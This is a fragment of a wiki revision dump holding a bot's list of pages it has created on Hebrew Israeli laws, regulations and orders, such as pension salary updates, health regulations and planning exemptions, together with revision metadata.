* {{v}} נוצר [[The Termination of Jurisdiction in Palestine (Transitional Provisions) Order in Council]]
* {{v}} נוצר [[דבר המלך במועצה עפ&quot;י חוק בתי-משפט לשלל מלחמה]]
* {{v}} נוצר [[תקנות בתי המשפט לעניני שלל מלחמה]]
* {{v}} נוצר [[תקנות בית המשפט לימאות (אגרות וסדרי הדין בערעורים)]]
* {{v}} נוצר [[צו התחשבנות בין בתי חולים לקופות חולים (בריאות הנפש) (סכום תוספת התשלום שתחולק בהתאם לציוני המדד לשיפור השירות)]]
* {{v}} נוצר [[תקנות לימוד חובה (כללי דיווח של מנהל מוסד חינוך)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מתוכנית ומהיתר להקמת מיצג לזיכרון אירועי ה-7 באוקטובר) (חרבות ברזל) (הוראת שעה)]]
* {{v}} נוצר [[תקנות שעת חירום (חרבות ברזל) (קיום דיונים בהיוועדות חזותית בהשתתפות עצורים ואסירים בעת מבצע שחרור אסירים)]]
* {{v}} נוצר [[צו ביטוח בריאות ממלכתי (תרופות בסל שירותי הבריאות)]]
* {{v}} נוצר [[תקנות בתי המשפט, בתי הדין לעבודה ולשכות ההוצאה לפועל (סדרי דין בתקופת שביתה או השבתה של עובדים)]]
* {{v}} נוצר [[דבר המלך על ארץ-ישראל בדבר שיפוט בעניני אדמיראליות]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (שיפור הפעילות בתחום הנוירולוגיה בבית החולים)]]
* {{v}} נוצר [[תקנות הפרות תעבורה מינהליות (הודעה על החלטה להטיל קנס)]]
* {{v}} נוצר [[צו המועצות המקומיות (חלוקת הכנסות בין המועצה האזורית עמק יזרעאל ובין עיריית מגדל העמק והמועצות המקומיות רמת ישי וזרזיר)]]
* {{v}} נוצר [[תקנות מסילות הברזל (מסירת מידע על שירות הסעה ברכבת במרכז המידע הארצי לתחבורה ציבורית)]]
* {{v}} נוצר [[תקנות נתיבים מהירים (קביעת קטע דרך כנתיב מהיר) (הוראת שעה)]]
* {{v}} נוצר [[תקנות נתיבים מהירים (קביעת קטעי דרך כנתיבים מהירים) (הוראת שעה)]]
* {{v}} נוצר [[חוק שלל המלחמה]]
* {{v}} נוצר [[תקנות שיקים ללא כיסוי (סייגים לתחולת החוק) (מלחמת התקומה) (הוראת שעה)‎]]
* {{v}} נוצר [[תקנות פינוי ובינוי (פיצויים) (מינוי שמאי פינוי ובינוי וסדרי דין בבקשות שיוגשו לשמאי פינוי ובינוי)]]
* {{v}} נוצר [[צו הגנה על בריאות הציבור (מזון) (החלת שינויים בנספח להוראות האיחוד האירופי) (תקנה 1925/2006)]]
* {{v}} נוצר [[תקנות פינוי בינוי (פיצויים) (כללים לקביעת שכרו של שמאי פינוי בינוי)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מתוכנית ומהיתר להקמת מתחם שישמש למגורים ולשימושים נלווים) (חרבות ברזל) (ניר עוז) (הוראת שעה)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מהיתר להקמת סכר עפר זמני ועבודות נוספות לצורך שאיבת מי כינרת) (הוראת שעה)]]
* {{v}} נוצר [[תקנות סדר הדין הפלילי (סמכויות אכיפה – נתוני תקשורת) (מאגר נתוני זיהוי תקשורת)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מתוכנית ומהיתר להחלפת צנרת המוליכה דלק לתשתיות חיוניות) (חרבות ברזל) (הוראת שעה)]]
* {{v}} נוצר [[הודעת מנהל בתי המשפט בדבר הגשת ראיות במדיה אלקטרונית או דיגיטלית]]
* {{v}} נוצר [[החלטה בדבר שכר היועץ המשפטי לכנסת]]
* {{v}} נוצר [[צו הגנה על בריאות הציבור (מזון) (החלת שינויים בהוראות האיחוד האירופי) (תקנה 10/2011 – חומרים ומוצרים פלסטיים המיועדים לבוא במגע עם מזון)]]
* {{v}} נוצר [[תקנות מס הכנסה (קביעת סוגי עסקאות, הכנסות או מכירות שיוספו או יוחרגו ממחזור העסקאות של בעל עסק זעיר)]]
* {{v}} נוצר [[חוק מניעת פגיעת גוף שידורים זר בביטחון המדינה (הוראת שעה)]]
* {{v}} נוצר [[תקנות העבירות המינהליות (סדר דין לדיון בבקשות לפי סעיפים 19 ו-20)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (שיפור מיומנויות רופאים)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (העסקת עמיתי רופא שהגיעו מחוץ לישראל)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (הרחבת שירותי אשפוז בית בשנת 2025)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (הפעלת שדות קליניים)]]
* {{v}} נוצר [[תקנות העבירות המינהליות (קנס מינהלי – עירית תל-אביב-יפו)]]
* {{v}} נוצר [[הודעת הגנה על בריאות הציבור (מזון) (החלת שינויים בנספח להוראות האיחוד האירופי) (תקנה 2023/915 – מזהמים מסוימים במזון)]]
* {{v}} נוצר [[הודעת הגנה על בריאות הציבור (מזון) (החלת שינויים בנספח להוראות האיחוד האירופי) (תקנה 432/2012 – רשימת מסרים בריאותיים מותרים למזון)]]
* {{v}} נוצר [[חוק מס חברות מזערי בקבוצה רב-לאומית]]
* {{v}} נוצר [[תקנות הפרות תעבורה מינהליות (סדרי הדין והמינהל בבית דין לתעבורה)]]
* {{v}} נוצר [[כללי המים (תעריפים למי קולחים לחקלאות המסופקים ממיתקן טיפול בשפכים)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (הקמת ממשקי דיווח להעברת מידע קליני ומינהלי חיוני)]]
* {{v}} נוצר [[תקנות הפיקוח על שירותים פיננסיים (שירותים פיננסיים מוסדרים) (הפחתה של סכומי עיצום כספי ופריסת תשלומים)]]
* {{v}} נוצר [[תקנות בריאות העם (הגשת דין וחשבון)]]
* {{v}} נוצר [[תקנות למניעת העסקה במוסדות מסוימים של מי שהורשע באלימות כלפי ילדים וחסרי ישע (אישור המשטרה)]]
* {{v}} נוצר [[תקנות בריאות העם (דיווח על לידת תינוקות עם מומים)]]
* {{v}} נוצר [[הודעת מס הכנסה (רשימת יישובים מוטבים לשנת 2026)]]
* {{v}} נוצר [[תקנות הדואר (הוראות מס)]]
* {{v}} נוצר [[תקנות הדואר (פטור ממסים, מאגרות ומתשלומי חובה אחרים)]]
* {{v}} נוצר [[תקנות האגודות השתופיות]]
* {{v}} נוצר [[חוק יום הוקרה ממלכתי לפצועי מערכות ישראל ונפגעי פעולות איבה]]
* {{v}} נוצר [[תקנות כביש אגרה (כביש ארצי לישראל) (אכיפת תשלומים) (סומך – בית העמק)]]
* {{v}} נוצר [[תקנות כביש אגרה (כביש ארצי לישראל) (סכומי דמי הגבייה) (סומך – בית העמק)]]
* {{v}} נוצר [[תקנות נתיבים מהירים (קביעת קטעי דרך כנתיב מהיר) (הוראת שעה) (כביש 5)]]
* {{v}} נוצר [[כללי המים (הסדר מפורט לאזור קיצוב)]]
* {{v}} נוצר [[חוק חדלות פירעון ושיקום כלכלי/תיקון 9]]
* {{v}} נוצר [[אכרזת גנים לאומיים, שמורות טבע, אתרים לאומיים ואתרי הנצחה (יישום האמנה להגנה על הים התיכון מפני זיהום מים)]]
* {{v}} נוצר [[תקנות תרומת ביציות (מרשם יילודים)]]
* {{v}} נוצר [[צו הפיקוח על מצרכים ושירותים (הוראות לספקי גפ&quot;מ) (הוראת שעה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (הדירוג המינהלי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג טכנאי הרנטגן)]]
* {{v}} נוצר [[חוק קיום דיונים בהיוועדות חוזותית בעת הכרזה על הגבלה (עצורים, אסירים וכלואים) (הוראת שעה)]]
* {{v}} נוצר [[צו הפיקוח על מצרכים ושירותים (הוראות לספקי מוצרי דלק) (הוראת שעה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המח&quot;ר ודירוג העיתונאים בשירות הציבורי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (פסיכולוגים בדירוג המח&quot;ר)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המהנדסים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג ההנדסאים והטכנאים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המשפטנים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג הסניגורים הציבוריים)]]
* {{v}} נוצר [[תקנות הדיינים (סדרי דין בבתי הדין הרבניים בעת מצב חירום מיוחד) (הוראת שעה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג עובדי המעבדה, הביוכימאים והמיקרוביולוגים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג האחים והאחיות)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוגים שונים בתחום הפארה-רפואי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המפקחים הימיים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המקצ&quot;ט)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג מעברי הגבול ודירוג הקלדניות)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג הכבאים והדירוג האחיד ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (הדירוג המינהלי ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המח&quot;ר ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המהנדסים ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג ההנדסאים והטכנאים ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג העובדים הסוציאליים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג העובדים הסוציאליים במשרד הבריאות)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג עובדי ההוראה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג שירות החוץ)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג הפרקליטים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (הדירוג המינהלי)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג המח&quot;ר ודירוג המח&quot;ר המועדף)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג המהנדסים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג ההנדסאים והטכנאים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג האחים והאחיות)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג הרוקחים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג טכנאי הרנטגן)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג הפיזיותרפיסטים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג הקצינים הטכניים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג צבא הגנה לישראל ייחודי)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג מחקר ופיתוח צבאי)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג המשפטנים)]]
* {{v}} נוצר [[תקנות הספריות הציבוריות (תשלומים)]]
* {{v}} נוצר [[תקנות שחרור על-תנאי ממאסר (הוראות מיוחדות במצב שבו השתבשו סדרי החיים התקינים) (הוראת שעה)]]
* {{v}} נוצר [[תקנות הספריות הציבוריות (שעות פתיחה)]]
* {{v}} נוצר [[נוהל לתמיכות מתקציב המדינה במוסדות ציבור]]
* {{v}} נוצר [[תקנות התקשורת (בזק ושידורים) (שימוש ברשת בזק ציבורית של מפ&quot;א)]]
* {{v}} נוצר [[הוראות תעריף המכס והפטור (סיווג טובין)]]
* {{v}} נוצר [[הודעה על סוגים של עובדי מדינה שעליהם יחולו האיסורים המנויים בחוק]]
* {{v}} נוצר [[הודעה על עובדי בנק ישראל שעליהם יחולו האיסורים המנויים בחוק]]
* {{v}} נוצר [[הודעה על מוסד ממלכתי]]
* {{v}} נוצר [[תקנות הסניגוריה הציבורית (שכר טרחה לסניגורים ציבוריים)]]
* {{v}} נוצר [[תקנות הגז (בטיחות ורישוי) (רישוי עוסקים בעבודות גז טבעי וכללים לביצוען)]]
* {{v}} נוצר [[תקנות רישוי שירותים ומקצועות בענף הרכב (שמאות רכב – חשש לניגוד עניינים, כללי אתיקה מקצועית ואגרות)]]
* {{v}} נוצר [[תקנות רישוי שירותים ומקצועות בענף הרכב (רישוי עיסוק בשמאות רכב – הוראת שעה)]]
* {{v}} נוצר [[חוק שיפוט בתי דין דתיים (בוררות)]]
* {{v}} נוצר [[חוק התוכנית לסיוע כלכלי (הוראת שעה) (תעסוקה)]]
* {{v}} נוצר [[חוק עידוד יישוב עירוני מעורב (הוראת שעה)]]
* {{v}} נוצר [[חוק התחשבנות בין בתי חולים לקופות חולים לשנים 2026 עד 2030 (התחשבנות בעד שירותי בריאות בבתי חולים ציבוריים כלליים)]]
* {{v}} נוצר [[חוק לעידוד ולתמרוץ מחקר ופיתוח]]
* {{v}} נוצר [[חוק לקידום התחרות בשוק הבנקאות (תיקוני חקיקה)]]
* {{v}} נוצר [[חוק עידוד עלייה לישראל וחזרה אליה (הוראת שעה)]]
* {{v}} נוצר [[חוק התוכנית הכלכלית (תיקוני חקיקה ליישום המדיניות הכלכלית לשנת התקציב 2026)]]
* {{v}} נוצר [[חוק ההתייעלות הכלכלית (תיקוני חקיקה להשגת יעדי התקציב לשנת התקציב 2026)]]
* {{v}} נוצר [[חוק להסדרת אירוע הילולת רבי שמעון בר יוחאי בהר מירון (הוראת שעה)]]
* {{v}} נוצר [[דבר המלך במועצה על ארץ-ישראל (1948)]]
* {{v}} נוצר [[חוק שיקום נזקי מלחמה בדרך של התחדשות עירונית]]
* {{v}} נוצר [[חוק עונש מוות למחבלים]]
* {{v}} נוצר [[תקנות ההוצאה לפועל (סדרי דין בלשכות ההוצאה לפועל) (הוראת שעה)]]
* {{v}} נוצר [[תקנות הגנת הפרטיות (התראה מינהלית)]]
* {{v}} נוצר [[תקנות הטיס (הוראות בדבר הכשרה מתאימה לחוקרים בתחום סמכויות בחקירה בטיחותית)]]
* {{v}} נוצר [[אישור כללי בדבר תשלומי מעבידים לקרן פנסיה ולקופת ביטוח במקום פיצויי פיטורים]]
* {{v}} נוצר [[הודעה על ביטול אישורים ועל שמירת תוקף אישורים]]
* {{v}} נוצר [[צו איסור הלבנת הון (חובות זיהוי, דיווח וניהול רישומים למניעת הלבנת הון ומימון טרור של מוסדות לגמילות חסדים)]]
* {{v}} נוצר [[חוק חובת דיווח על מלאי מזון לבעלי חיים ומלאי חיטה לשם היערכות למחסור משמעותי]]
* {{v}} נוצר [[חוק התוכנית לסיוע כלכלי (הוראת שעה) (סיוע לעסקים ולמוסדות ציבור)]]
* {{v}} נוצר [[חוק העמדה לדין בשל אירועי טבח 7 באוקטובר 2023 (טבח שמיני עצרת)]]
* {{v}} נוצר [[צו להסדרת מגורים בשטחי מרעה (הכרזה על אזור שמירה צמודה) (הוראת שעה)]]
* {{v}} נוצר [[תקנות שירות המדינה (גמלאות) (גמלאות לעובדי ביטחון חדשים של המוסד למודיעין ולתפקידים מיוחדים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (מקצועות במוסד למודיעין ולתפקידים מיוחדים שאינם מזכים בקצבת גישור)]]
* {{v}} נוצר [[תקנות שירות המדינה (גמלאות) (קצבת גישור לעובדי ביטחון חדשים של שירות הביטחון הכללי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (מקצועות בשירות הביטחון הכללי שאינם מזכים בקצבת גישור)]]
* {{v}} נוצר [[תקנות מערכי אכיפה מקומיים (טיפול בתלונות)]]
* {{v}} נוצר [[חוק סיוע לבני משפחה של נעדרים]]
* {{v}} נוצר [[תקנות למניעת מפגעים (מיזם תשתית חיוני מועדף)]]
* {{v}} נוצר [[תקנות הדיור המוגן (יציבות כלכלית)]]
* {{v}} נוצר [[תקנות רכבת תחתית (מטרו) (אמות מידה לסיוע כספי לעסקים הנמצאים בסמיכות לעבודות להקמה של תחנות המטרו)]]
* {{v}} נוצר [[תקנות מערכי אכיפה מקומיים (משקלן היחסי של אמות המידה)]]
* {{v}} נוצר [[תקנות הטיס (הפעלת יחידת נת&quot;א)]]
* {{v}} נוצר [[תקנות הטיס (שדות תעופה – מאפיינים פיזיים והפעלת שדה תעופה)]]
* {{v}} נוצר [[תקנות הדיור המוגן (בקשה לרישיון הפעלה של בית דיור מוגן)]]
* {{v}} נוצר [[תקנות להסדר ההימורים בספורט (כללים למתן גמול ליושב ראש המועצה)]]
* {{v}} נוצר [[חוק הטבות מס ליישוב אזור קו עימות מזרחי (הוראת שעה)]]
* {{v}} נוצר [[חוק הכרה בשפת הסימנים הישראלית]]
* {{v}} נוצר [[תקנות תכנון משק החלב (הוראות לעניין הסדרת ייצור, שיווק וויסות של חלב)]]
* {{v}} נוצר [[חוק הכרה בתרומתם של כלבים ששירתו בגופים ביטחוניים]]
* {{v}} דף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה), 1987]] הועבר לדף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה) (1987)]]
* {{v}} דף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה), 1990]] הועבר לדף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה) (1990)]]
* {{v}} נוצר [[חוק להגנה על הצרכן מפני עוסקים המבצעים הפרות בנסיבות מחמירות (תיקוני חקיקה)]]
* {{v}} נוצר [[צו להסדרה של הצבת כוורות, האבקה וייצור דבש (אישור מטרות המועצה להאבקה ודבש)]]
* {{v}} נוצר [[חוק הגבלת שכר טרחה (נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)]]
* {{v}} דף [[חוק להקפאת כספים ששילמה הרשות הפלסטינית בזיקה לטרור מהכספים המועברים אליה מממשלת ישראל]] הועבר לדף [[חוק להקפאה וניכוי של כספים ששילמה הרשות הפלסטינית בזיקה לטרור מהכספים המועברים אליה מממשלת ישראל]]
* {{v}} נוצר [[חוק התכנית להגדלת גמלאות הבטחת הכנסה לקשישים נזקקים ולסיוע לניצולי שואה (תיקוני חקיקה)]]
* {{v}} נוצר [[חוק שנת הכספים]]
* {{v}} נוצר [[צו הבנקאות (שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)]]
* {{v}} נוצר [[צו הבנקאות (שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)]]
* [[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)]]
* [[חוק ועדות הכנסת (ועדת העבודה והרווחה)]]
* [[חוק שטרי-חסכון צמודי-דולר]]
* [[חוק מניות בנקאיות בהסדר (הפחתת עמלות)]]
* [[חוק שדה התעופה אילת (הוראות מיוחדות)]]</text>
      <sha1>hbdzje4hjwn12vma38dnnhenrxjht7l</sha1>
    </revision>
    <revision>
      <id>3020709</id>
      <parentid>3020662</parentid>
      <timestamp>2026-06-18T21:00:17Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>תודה</comment>
      <origin>3020709</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="26486" sha1="48jiqx7v7ihr8tdtvbno1dpi19o1x64" xml:space="preserve">__INDEX__
רשימת דפים להוספה על ידי הבוט {{מוקטן|(רשימת דפים שהתווספו בעבר נשמרים [[משתמש:OpenLawBot/ארכיון|בארכיון]])}}
* {{v}} נוצר [[צו עבירת קנס (יום הזכרון לשואה ולגבורה)]]
* {{v}} נוצר [[צו עבירת קנס (יום הזכרון לחללי מערכות ישראל)]]
* {{v}} נוצר [[צו עבירת קנס (זיהום אויר)]]
* {{v}} נוצר [[צו סדר הדין הפלילי (סעיף 196 לחוק העונשין – עבירת קנס)]]
* {{v}} נוצר [[צו בתי הסוהר (קביעת קנס ופיצויים לענין עבירת בית סוהר)]]
* {{v}} נוצר [[תקנות מס הכנסה (דיבידנדים ששולם מס בשל חלוקתם)]]
* {{v}} נוצר [[תקנות בית המשפט לימאות (סדרי דין מיוחדים בבקשה להחרמת ספינה) (חרבות ברזל) (הוראת שעה)]]
* {{v}} נוצר [[The Palestine Act]]
* {{v}} נוצר [[כללי הסדרת העיסוק בשירותי תשלום וייזום תשלום (הודעה של גופים פטורים לרשות ניירות ערך)]]
* {{v}} נוצר [[תקנות סמכויות לאיסוף ואבחון של נתוני נוסעים הנכנסים לישראל או היוצאים ממנה (הפחתה של סכומי עיצום כספי)]]
* {{v}} נוצר [[חוק השפוט בארצות נכר]]
* {{v}} נוצר [[צו המועצות המקומיות (חלוקת הכנסות בין המועצה האזורית עמק יזרעאל לבין עיריית מגדל העמק)]]
* {{v}} נוצר [[צו המועצות המקומיות (חלוקת הכנסות בין המועצה האזורית עמק יזרעאל לבין המועצה המקומית זרזיר)]]
* {{v}} נוצר [[The Termination of Jurisdiction in Palestine (Transitional Provisions) Order in Council]]
* {{v}} נוצר [[דבר המלך במועצה עפ&quot;י חוק בתי-משפט לשלל מלחמה]]
* {{v}} נוצר [[תקנות בתי המשפט לעניני שלל מלחמה]]
* {{v}} נוצר [[תקנות בית המשפט לימאות (אגרות וסדרי הדין בערעורים)]]
* {{v}} נוצר [[צו התחשבנות בין בתי חולים לקופות חולים (בריאות הנפש) (סכום תוספת התשלום שתחולק בהתאם לציוני המדד לשיפור השירות)]]
* {{v}} נוצר [[תקנות לימוד חובה (כללי דיווח של מנהל מוסד חינוך)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מתוכנית ומהיתר להקמת מיצג לזיכרון אירועי ה-7 באוקטובר) (חרבות ברזל) (הוראת שעה)]]
* {{v}} נוצר [[תקנות שעת חירום (חרבות ברזל) (קיום דיונים בהיוועדות חזותית בהשתתפות עצורים ואסירים בעת מבצע שחרור אסירים)]]
* {{v}} נוצר [[צו ביטוח בריאות ממלכתי (תרופות בסל שירותי הבריאות)]]
* {{v}} נוצר [[תקנות בתי המשפט, בתי הדין לעבודה ולשכות ההוצאה לפועל (סדרי דין בתקופת שביתה או השבתה של עובדים)]]
* {{v}} נוצר [[דבר המלך על ארץ-ישראל בדבר שיפוט בעניני אדמיראליות]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (שיפור הפעילות בתחום הנוירולוגיה בבית החולים)]]
* {{v}} נוצר [[תקנות הפרות תעבורה מינהליות (הודעה על החלטה להטיל קנס)]]
* {{v}} נוצר [[צו המועצות המקומיות (חלוקת הכנסות בין המועצה האזורית עמק יזרעאל ובין עיריית מגדל העמק והמועצות המקומיות רמת ישי וזרזיר)]]
* {{v}} נוצר [[תקנות מסילות הברזל (מסירת מידע על שירות הסעה ברכבת במרכז המידע הארצי לתחבורה ציבורית)]]
* {{v}} נוצר [[תקנות נתיבים מהירים (קביעת קטע דרך כנתיב מהיר) (הוראת שעה)]]
* {{v}} נוצר [[תקנות נתיבים מהירים (קביעת קטעי דרך כנתיבים מהירים) (הוראת שעה)]]
* {{v}} נוצר [[חוק שלל המלחמה]]
* {{v}} נוצר [[תקנות שיקים ללא כיסוי (סייגים לתחולת החוק) (מלחמת התקומה) (הוראת שעה)‎]]
* {{v}} נוצר [[תקנות פינוי ובינוי (פיצויים) (מינוי שמאי פינוי ובינוי וסדרי דין בבקשות שיוגשו לשמאי פינוי ובינוי)]]
* {{v}} נוצר [[צו הגנה על בריאות הציבור (מזון) (החלת שינויים בנספח להוראות האיחוד האירופי) (תקנה 1925/2006)]]
* {{v}} נוצר [[תקנות פינוי בינוי (פיצויים) (כללים לקביעת שכרו של שמאי פינוי בינוי)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מתוכנית ומהיתר להקמת מתחם שישמש למגורים ולשימושים נלווים) (חרבות ברזל) (ניר עוז) (הוראת שעה)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מהיתר להקמת סכר עפר זמני ועבודות נוספות לצורך שאיבת מי כינרת) (הוראת שעה)]]
* {{v}} נוצר [[תקנות סדר הדין הפלילי (סמכויות אכיפה – נתוני תקשורת) (מאגר נתוני זיהוי תקשורת)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מתוכנית ומהיתר להחלפת צנרת המוליכה דלק לתשתיות חיוניות) (חרבות ברזל) (הוראת שעה)]]
* {{v}} נוצר [[הודעת מנהל בתי המשפט בדבר הגשת ראיות במדיה אלקטרונית או דיגיטלית]]
* {{v}} נוצר [[החלטה בדבר שכר היועץ המשפטי לכנסת]]
* {{v}} נוצר [[צו הגנה על בריאות הציבור (מזון) (החלת שינויים בהוראות האיחוד האירופי) (תקנה 10/2011 – חומרים ומוצרים פלסטיים המיועדים לבוא במגע עם מזון)]]
* {{v}} נוצר [[תקנות מס הכנסה (קביעת סוגי עסקאות, הכנסות או מכירות שיוספו או יוחרגו ממחזור העסקאות של בעל עסק זעיר)]]
* {{v}} נוצר [[חוק מניעת פגיעת גוף שידורים זר בביטחון המדינה (הוראת שעה)]]
* {{v}} נוצר [[תקנות העבירות המינהליות (סדר דין לדיון בבקשות לפי סעיפים 19 ו-20)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (שיפור מיומנויות רופאים)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (העסקת עמיתי רופא שהגיעו מחוץ לישראל)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (הרחבת שירותי אשפוז בית בשנת 2025)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (הפעלת שדות קליניים)]]
* {{v}} נוצר [[תקנות העבירות המינהליות (קנס מינהלי – עירית תל-אביב-יפו)]]
* {{v}} נוצר [[הודעת הגנה על בריאות הציבור (מזון) (החלת שינויים בנספח להוראות האיחוד האירופי) (תקנה 2023/915 – מזהמים מסוימים במזון)]]
* {{v}} נוצר [[הודעת הגנה על בריאות הציבור (מזון) (החלת שינויים בנספח להוראות האיחוד האירופי) (תקנה 432/2012 – רשימת מסרים בריאותיים מותרים למזון)]]
* {{v}} נוצר [[חוק מס חברות מזערי בקבוצה רב-לאומית]]
* {{v}} נוצר [[תקנות הפרות תעבורה מינהליות (סדרי הדין והמינהל בבית דין לתעבורה)]]
* {{v}} נוצר [[כללי המים (תעריפים למי קולחים לחקלאות המסופקים ממיתקן טיפול בשפכים)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (הקמת ממשקי דיווח להעברת מידע קליני ומינהלי חיוני)]]
* {{v}} נוצר [[תקנות הפיקוח על שירותים פיננסיים (שירותים פיננסיים מוסדרים) (הפחתה של סכומי עיצום כספי ופריסת תשלומים)]]
* {{v}} נוצר [[תקנות בריאות העם (הגשת דין וחשבון)]]
* {{v}} נוצר [[תקנות למניעת העסקה במוסדות מסוימים של מי שהורשע באלימות כלפי ילדים וחסרי ישע (אישור המשטרה)]]
* {{v}} נוצר [[תקנות בריאות העם (דיווח על לידת תינוקות עם מומים)]]
* {{v}} נוצר [[הודעת מס הכנסה (רשימת יישובים מוטבים לשנת 2026)]]
* {{v}} נוצר [[תקנות הדואר (הוראות מס)]]
* {{v}} נוצר [[תקנות הדואר (פטור ממסים, מאגרות ומתשלומי חובה אחרים)]]
* {{v}} נוצר [[תקנות האגודות השתופיות]]
* {{v}} נוצר [[חוק יום הוקרה ממלכתי לפצועי מערכות ישראל ונפגעי פעולות איבה]]
